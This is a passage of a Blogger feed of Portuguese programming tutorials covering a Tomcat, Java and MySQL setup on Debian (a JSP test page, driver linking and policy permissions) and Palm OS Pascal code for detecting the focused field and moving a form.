/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println (ex.toString());&lt;br /&gt;}&lt;br /&gt;catch (Exception ex)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println ("&amp;lt;br&amp;gt;Erro ao procurar o drive&amp;lt;br&amp;gt;" + ex.toString());&lt;br /&gt;}&lt;br /&gt;%&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Salve o arquivo e em seu browser, acesse a url hocalhost:8180/teste&lt;br /&gt;&lt;br /&gt;Aparecerá a página:&lt;br /&gt;&lt;br /&gt;Olá mundo !!!&lt;br /&gt;1 + 1 = 2&lt;br /&gt;&lt;br /&gt;Erro drive&lt;br /&gt;java.lang.ClassNotFoundException:com.mysql.jdbc.Driver&lt;br /&gt;&lt;br /&gt;Mas como o drive é encontrado em nossa aplicação e não é encontrado em nossa página ? O motivo é que nossa aplicação procura pelo CLASSPATH já as páginas tem é limitada a buscar no diretório padrão ou no diretório de nosso projeto.&lt;br /&gt;&lt;br /&gt;Então, basta copiar o arquivo com o drive para o diretório &lt;span style="font-weight:bold;"&gt;&amp;lt;CATALINA_HOME&amp;gt;/common/lib&lt;/span&gt;, porém aqui iremos apenas criar um link simbólico para o arquivo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# cd /usr/share/tomcat5.5/common/lib&lt;br /&gt;# ln -s ../../../java/mysql-connector-java-5.0.4.jar mysql-connector-java.jar&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reinicie o tomcat&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/tomcat5.5 restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tente novamente acessar a URL localhost:8180/teste&lt;br /&gt;Desta vez o resultado será:&lt;br /&gt;&lt;br /&gt;Olá mundo !!!&lt;br /&gt;1 + 1 = 2&lt;br /&gt;&lt;br /&gt;Drive encontrado!!!&lt;br /&gt;&lt;br /&gt;Vamos continuar nosso exemplo de teste, aumentando o código.&lt;br /&gt;Edite novamente o arquivo &lt;span style="font-weight:bold;"&gt;/var/www/teste/index.jsp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora, vamos modificá-lo deixando com o seguinte código:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;%@page import="java.sql.*"%&amp;gt;&lt;br /&gt;Olá mundo !!!&amp;lt;br&amp;gt;&lt;br /&gt;1 + 1 = ${1+1}&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;%&lt;br /&gt;String url = "jdbc:mysql://localhost:3306/dbTeste"; //string de conexão a base dbTeste&lt;br /&gt;String user = "root"; //usuário da base de dados&lt;br /&gt;String pwd = "123456";//senha do usuário criado&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Class.forName("com.mysql.jdbc.Driver");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Drive carregado com sucesso!!!&amp;lt;br&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Connection cn = DriverManager.getConnection(url, user, pwd);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Conexao estabelecida!!!&amp;lt;br&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String sql = "select * from tbTeste";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Statement stm = cn.createStatement();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ResultSet rs = stm.executeQuery(sql);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (rs.next())&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println( " - " + rs.getString("codteste"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch (Exception ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Erro no Select!!!&amp;lt;br&amp;gt;" + ex.printStackTrace());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch (Exception ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Erro na conexao!!!&amp;lt;br&amp;gt;" + ex.printStackTrace());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;catch (ClassNotFoundException ex)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Erro na conexao com a base de dados!!!&amp;lt;br&amp;gt;" + ex.printStackTrace());&lt;br /&gt;}&lt;br /&gt;catch (Exception ex)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Drive nao pode ser carregado!!!&amp;lt;br&amp;gt;" + ex.printStackTrace());&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;br&amp;gt;Olá Base!!!&amp;lt;br&amp;gt;");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;%&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ao acessarmos a URL localhost:8081/teste nos depararemos com a seguinte mensagem:&lt;br /&gt;&lt;br /&gt;Olá mundo !!!&lt;br /&gt;1 + 1 = ${1+1}&lt;br /&gt;&lt;br /&gt;Erro na conexão&lt;br /&gt;&lt;br /&gt;com.mysql.jdbc.CommunicationsException: Communications link failure due to underlying exception: ** BEGIN NESTED EXCEPTION ** java.security.AccessControlException MESSAGE: access denied (java.net.SocketPermission localhost resolve) STACKTRACE: java.security.AccessControlException: access denied (java.net.SocketPermission localhost resolve) at java.security.AccessControlContext.checkPermission(AccessControlContext.java:264) at java.security.AccessController.checkPermission(AccessController.java:427) at java.lang.SecurityManager.checkPermission(SecurityManager.java:532) at java.lang.SecurityManager.checkConnect(SecurityManager.java:1031) at java.net.InetAddress.getAllByName0(InetAddress.java:1134) at java.net.InetAddress.getAllByName(InetAddress.java:1072) at java.net.InetAddress.getAllByName(InetAddress.java:1008) at com.mysql.jdbc.StandardSocketFactory.connect(StandardSocketFactory.java:138) at com.mysql.jdbc.MysqlIO.(MysqlIO.java:277) at com.mysql.jdbc.Connection.createNewIO(Connection.java:2668) at com.mysql.jdbc.Connection.(Connection.java:1531) at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:266) at java.sql.DriverManager.getConnection(DriverManager.java:525) at java.sql.DriverManager.getConnection(DriverManager.java:171) at org.apache.jsp.index_jsp._jspService(index_jsp.java:65) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:97) at javax.servlet.http.HttpServlet.service(HttpServlet.java:802) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:334) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:314) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:264) at javax.servlet.http.HttpServlet.service(HttpServlet.java:802) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:585) at org.apache.catalina.security.SecurityUtil$1.run(SecurityUtil.java:243) at java.security.AccessController.doPrivileged(Native Method) at javax.security.auth.Subject.doAsPrivileged(Subject.java:517) at org.apache.catalina.security.SecurityUtil.execute(SecurityUtil.java:275) at org.apache.catalina.security.SecurityUtil.doAsPrivilege(SecurityUtil.java:161) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:245) at org.apache.catalina.core.ApplicationFilterChain.access$0(ApplicationFilterChain.java:177) at org.apache.catalina.core.ApplicationFilterChain$1.run(ApplicationFilterChain.java:156) at java.security.AccessController.doPrivileged(Native Method) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:152) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:213) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:178) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:126) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:107) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:869) at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:664) at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:527) at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:80) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:684) at java.lang.Thread.run(Thread.java:595) ** END NESTED EXCEPTION ** Last packet sent to the server was 52 ms ago.&lt;br /&gt;&lt;br /&gt;Felizmente, se tudo correu bem até aqui, esse será nosso último erro.&lt;br /&gt;&lt;br /&gt;Teremos que liberar a permissão de conexão.&lt;br /&gt;&lt;br /&gt;As permissões estão definidas no arquivo &lt;span style="font-weight:bold;"&gt;"$CATALINA_BASE/conf/catalina.policy"&lt;/span&gt;, neste caso em &lt;span style="font-weight:bold;"&gt;/usr/share/tomcat5.5/conf/catalina.policy&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Seria só alterar esse arquivo, mas se verificarmos nosso daemon (&lt;span style="font-weight:bold;"&gt;/etc/init.d/tomcat5.5&lt;/span&gt;), veremos que este arquivo e montado na inicialização do tomcat, pois encontraremos a seguinte linha:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# cat /etc/tomcat5.5/policy.d/*.policy \&lt;br /&gt;&amp;gt;&amp;gt; "$CATALINA_BASE/conf/catalina.policy"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ou seja, não adianta modificar o arquivo &lt;span style="font-weight:bold;"&gt;/usr/share/tomcat5.5/conf/catalina.policy&lt;/span&gt;, pois quando iniciarmos o tomcat esse arquivo será refeito. Na inicialização, o conteúdo do arquivo &lt;span style="font-weight:bold;"&gt;"$CATALINA_BASE/conf/catalina.policy"&lt;/span&gt; é substituindo pelo conteúdo de todos os arquivos ".policy" do diretório &lt;span style="font-weight:bold;"&gt;/etc/tomcat5.5/policy.d/&lt;/span&gt;. Então, a linha abaixo nós poderemos incluir dentro de um arquivo ".policy" do diretório &lt;span style="font-weight:bold;"&gt;/etc/tomcat5.5/policy.d/&lt;/span&gt; ou, o que acho mais organizado, criar um arquivo.&lt;br /&gt;&lt;br /&gt;Crie um arquivo &lt;span style="font-weight:bold;"&gt;/etc/tomcat5.5/policy.d/05teste.policy.&lt;/span&gt; Inclua o seguinte conteúdo:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;grant codeBase "file:/var/www/teste/-" {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;permission java.security.AllPermission;&lt;br /&gt;};&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Com esse conteúdo, você faria todas as liberações para sua aplicação. O mais seguro é ir liberando as permissões a medida que forem aparecendo as necessidades, então, sugiro substituir o conteúdo do arquivo por&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;grant codeBase "file:/var/www/teste/-" {&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;permission java.net.SocketPermission "localhost:3306", "connect,resolve";&lt;br /&gt;};&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Assim, liberaremos apenas a conexão com o mysql.&lt;br /&gt;&lt;br /&gt;Agora, basta reiniciarmos o tomcat&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/tomcat5.5 restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;e testarmos nossa aplicação acessando a URL localhost:8180/teste&lt;br /&gt;&lt;br /&gt;deverá aparecer o seguinte conteúdo:&lt;br /&gt;&lt;br /&gt;Olá mundo !!!&lt;br /&gt;1 + 1 = 2&lt;br /&gt;&lt;br /&gt;Drive carregado com sucesso!!!&lt;br /&gt;&lt;br /&gt;Conexao estabelecida!!!&lt;br /&gt;&lt;br /&gt;- 1&lt;br /&gt;&lt;br /&gt;- 7&lt;br /&gt;&lt;br /&gt;- 17&lt;br /&gt;&lt;br /&gt;- 37&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-7419177160819536677?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/7419177160819536677/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/07/montando-um-ambiente-utilizando.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7419177160819536677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7419177160819536677'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/07/montando-um-ambiente-utilizando.html' title='Montando um ambiente utilizando Tomcat+Java+mysql (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_UGGKVNwng_k/Sky5W7WqkEI/AAAAAAAAABk/3u35XxYXU3Y/s72-c/tomcatLocal.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-1821189237178929460</id><published>2009-05-08T14:52:00.000-07:00</published><updated>2009-05-08T15:08:42.109-07:00</updated><title type='text'>Identificando o em qual Field está o Foco</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=6928f748" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pra saber em qual fiel está o foco não é muito difícil, para isso iremos usar algumas API's do Palm OS.&lt;br /&gt;&lt;br /&gt;Todas sa rotina estão dentro do arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/Form.pas&lt;/span&gt; e serão elas:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FrmGetActiveForm&lt;/span&gt; - retorna o form ativo e sua declaração é &lt;span style="font-weight:bold;"&gt;function FrmGetActiveForm: FormPtr; external sysTrapFrmGetActiveForm;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FrmGetFocus&lt;/span&gt; - retorna o objeto ativo dentro do form. Sua declaração é function &lt;span style="font-weight:bold;"&gt;FrmGetFocus(const formP: FormPtr): UInt16; external sysTrapFrmGetFocus;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FrmGetObjectType&lt;/span&gt; - retorna o tipo de objeto, para sabermos se é um Field. Sua declaração é f&lt;span style="font-weight:bold;"&gt;unction FrmGetObjectType(const formP: FormPtr; objIndex: UInt16): FormObjectKind; external sysTrapFrmGetObjectType;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FrmGetObjectID&lt;/span&gt; - retorna o ID do Objeto focado, sua declaração é &lt;span style="font-weight:bold;"&gt;function FrmGetObjectId(const formP: FormPtr; objIndex: UInt16): UInt16; external sysTrapFrmGetObjectId;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sendo assim, a função abaixo retorna o ID do Filed selecionado ou retorna 0 caso não haja nenhum filed focado.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;function FieldFocuse: UInt16;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;frm:  FormPtr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ffoc: UInt16;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := 0;&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;frm := FrmGetActiveForm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ffoc := FrmGetFocus(frm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ffoc=noFocus then exit;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FrmGetObjectType(frm, ffoc)&lt;&gt;frmFieldObj then exit;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := FrmGetObjectID(frm, ffoc);&lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;O exemplo abaixo mostra como utilizar essa função, o código abaixo deixará invisível o campo Field que estiver focado.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;fieldFoc := FieldFocuse; // fieldFoc é uma variável do tipo UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if fieldFoc &lt;&gt; 0 then PSField.Hide(fieldFoc);&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-1821189237178929460?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/1821189237178929460/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/05/identificando-o-em-qual-field-esta-o.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/1821189237178929460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/1821189237178929460'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/05/identificando-o-em-qual-field-esta-o.html' title='Identificando o em qual Field está o Foco'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-7028009425983495530</id><published>2009-05-08T13:09:00.000-07:00</published><updated>2009-05-08T14:06:51.766-07:00</updated><title type='text'>Movimentando o Form</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=819c4662" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Neste post resolvi mostrar como mudar a posição do form via código. Para melhorar a "brincadeira", resolvi fazer o form se movimentar ao se arrastar a caneta igual a movimentação em uma janela desktop.&lt;br /&gt;&lt;br /&gt;Para fazer essa movimentação, será necessário a utilização:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dos tipos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FormPtr&lt;/span&gt; - encontra-se no arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/Form.pas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FormType = record&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{$ifdef ALLOW_ACCESS_TO_INTERNALS_OF_FORMS} // These fields will not be available in the next OS release!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;window: WindowType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;formId: UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;attr: FormAttrType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bitsBehindForm: WinHandle;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;handler: FormEventHandlerType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;focus: UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;defaultButton: UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;helpRscId: UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;menuRscId: UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;numObjects: UInt16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;objects: ^FormObjListType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{$endif}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FormPtr = ^FormType;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;WinHandle&lt;/span&gt; - encontra-se no arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/Window.pas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt; WindowType = record&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{$ifdef ALLOW_ACCESS_TO_INTERNALS_OF_WINDOWS} // These fields will not be available in the next OS release!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;displayWidthV20: Coord; // use WinGetDisplayExtent instead&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;displayHeightV20: Coord; // use WinGetDisplayExtent instead&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;displayAddrV20: Pointer; // use the drawing functions instead&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;windowFlags: WindowFlagsType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;windowBounds: RectangleType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clippingBounds: AbsRectType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bitmapP: BitmapPtr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;frameType: FrameBitsType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;drawStateP: ^DrawStateType; // was GraphicStatePtr&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nextWindow: ^WindowType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{$endif}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinPtr = ^WindowType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinHandle = ^WindowType;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;RectangleType&lt;/span&gt; - encontra-se no arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/Rect.pas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PointType = record&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;x: Coord;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;y: Coord;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PointPtr = ^PointType;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;RectangleType = record&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;topLeft: PointType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;extent: PointType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Precisamos também das &lt;span style="font-weight:bold;"&gt;rotinas&lt;/span&gt; que se encontram no arquivo&lt;span style="font-weight:bold;"&gt; PalmOS/Form.pas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FrmGetActiveForm&lt;br /&gt;function FrmGetActiveForm: FormPtr; external sysTrapFrmGetActiveForm;&lt;br 